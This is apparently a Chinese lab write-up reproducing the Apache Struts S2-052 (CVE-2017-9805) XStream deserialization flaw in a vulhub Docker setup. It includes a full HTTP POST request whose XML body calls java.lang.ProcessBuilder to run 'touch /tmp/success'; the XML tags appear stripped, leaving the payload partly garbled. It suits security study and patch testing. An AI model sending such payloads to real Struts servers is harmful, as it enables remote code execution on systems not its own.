复现S2-052远程代码执行漏洞

介绍

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-052,CVE编号CVE-2017-9805。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

受影响版本

Struts 2.1.2 – Struts 2.3.33

Struts 2.5 – Struts 2.5.12

不受影响版本

Struts 2.5.13

环境搭建

切换目录

cd vulhub-master/struts2/s2-052

 编译及启动测试环境

docker-compose up -d

复现S2-052远程代码执行漏洞_第1张图片

 浏览器访问ip:http://your-ip:8080

复现S2-052远程代码执行漏洞_第2张图片

漏洞复现 

Burpsuite抓包

复现S2-052远程代码执行漏洞_第3张图片

 send to repeater,修改数据包为以下内容

POST /orders/3 HTTP/1.1
Host: your-ip:8080
Content-Length: 2415
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=2B334B141F6EEA52ED87210EA8B57CAA
Connection: close


  
    
      0
      
        
          
            
              
                false
                0
                
                  
                    
                    
                      
                        touch
                        /tmp/success
                      
                      false
                    
                  
                  
                    
                      java.lang.ProcessBuilder
                      start
                      
                    
                    foo
                  
                  foo
                
                
              
              
              
              false
              0
              0
              false
            
            false
          
          
        
        0
      
    
    
  
  
    
    
  

复现S2-052远程代码执行漏洞_第4张图片

查看进程id

进入容器

docker exec -it 1a7 /bin/bash

以上数据包成功执行的话,会在docker容器内创建文件/tmp/success

查看

ls /tmp/

你可能感兴趣的:(安全,docker,容器)